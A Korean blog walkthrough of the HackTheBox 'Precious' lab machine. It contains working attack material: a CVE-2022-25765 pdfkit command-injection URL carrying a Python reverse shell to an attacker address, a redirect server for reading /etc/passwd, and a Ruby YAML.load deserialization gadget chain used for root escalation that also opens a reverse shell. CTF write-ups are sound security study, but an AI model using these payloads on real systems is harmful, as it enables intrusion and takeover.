[HTB] Precious

쥬스몬·2023년 5월 2일
0

HackTheBox

목록 보기
16/37

머신을 실행하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.

naabu -host 10.10.11.189 -p - --nmap-cli "nmap -sV"

이전 이지 머신과 다를바없이 22/tcp, 80/tcp가 오픈되어있으며 precious.htb 라는 도메인으로 서비스되고있다.

웹 서비스에 접근하니 아래와같이 입력받은 URL의 페이지를 PDF로 변환해주는 기능을 하는것으로 보인다.

http://localhost:PORT를 전달하여 로컬 서비스로 동작되는 서비스가 있는지 확인해봤으나 의미있는 정보는 찾지못했다. file://, gopher://, dict:// 등의 스키마를 이용해서 로컬 파일을 읽어보는 시도도했으나 동일하게 의미있는 응답은 받지못했다.

google.com 같은 정상 서비스는 Invalid URL 응답을 받았으며, 해당 기능을 제공하는 페이지인 http://precious.htb/ 조차 제대로된 응답을 받지 못했다.

마지막으로 공격자 PC 로컬에서 심플 웹서버를 띄우고 URL을 입력하니 PDF가 떨어졌다.

python3 -m http.server 12321

이것저것 다 응답이 없지만 로컬에서 띄운 웹서버는 접근이 된다. 결국 이를 통해 무엇인가 해야될것으로 예상되어 redirect를 통해 로컬 파일을 읽는 시도를 위해 아래와 같은 코드를 작성하여 http://IP:PORT/redirect?url=file:///etc/passwd 와 같은 시도를 했다.

package main

import (
	"github.com/gofiber/fiber/v2"
)

func main() {
	app := fiber.New()

	app.Get("/redirect", func(c *fiber.Ctx) error {
		url := c.Query("url")
		return c.Redirect(url)
	})

	app.Listen(":12321")
}

여러 방면으로 redirect를 시도했으나 의미있는 응답은 받을 수 없었다.

여러 삽질을 진행하다가 exiftool을 통해서 이전에 다운로드된 PDF를 분석하니 pdfkit v0.8.6를 통해 생성된 PDF 파일로 확인됐다.

관련된 취약점이 존재하는지 서치하였으며 곧바로 CVE-2022-25765를 확인할 수 있었다.

해당 취약점은 URL Escape 과정에서 잘못된 처리로 인해 조작된 URL의 일부가 IO.popen 함수로 전달되어 Command Injection이 가능한 취약점이다.

참고
pdfkit github pull request
glasses96 - [CVE] - 2022-25765 Vulnerability analysis🔵⚪️🔴

자세한 내용은 위 참고 링크를 통해 확인할 수 있고, PoC는 다음과 같다.

http://example.com/?name=%20`COMMAND`

위 PoC URL을 url로 전달하여 PDF를 확인해보면 아래와같이 id 명령이 실행되어 PDF 내용에 포함되어있는것을 확인할 수 있다.

이를 통해 COMMAND 부분에 리버스 커넥션 코드를 삽입하여 리버스 커넥션을 유발시켜 쉘을 획득한다.

http://example.com/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("공격자IP",공격자PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`

여기서부터는 또 다시 시작된 정찰의 시간이다. 로컬 시스템 파일을 뒤져가며 쓸만한 정보가 있는지 기욱거리다 ruby 계정 홈디렉터리 내 .bundle 경로에서 henry 계정의 계정정보를 확인할 수 있었다.

henry 계정을 통해 ssh 접근이 가능했으며, 접근한 계정의 sudo 권한에 아래와 같이 특정 ruby 스크립트를 실행할 수 있는 sudo 권한이 존재했다.

바로 /opt/update_dependencies.rb의 코드를 체크하니 dependencies.yml를 로드하여 파싱 후 몇가지 체크를 수행하는 스크립트다.

yaml 파일이 권한 상승을 위한 키 파일인것으로 예상된다.

require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

구글링을 통해 ruby에서 yaml 역직렬화 취약점을 찾을 수 있었고 다음과 같은 내용의 yaml파일을 dependencies.yml 생성한다.

참고
Universal RCE with Ruby YAML.load (versions > 2.7)

실제 실행될 코드는 yaml의 git_set에 정의할 수 있다.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",20009));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
         method_id: :resolve

done

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글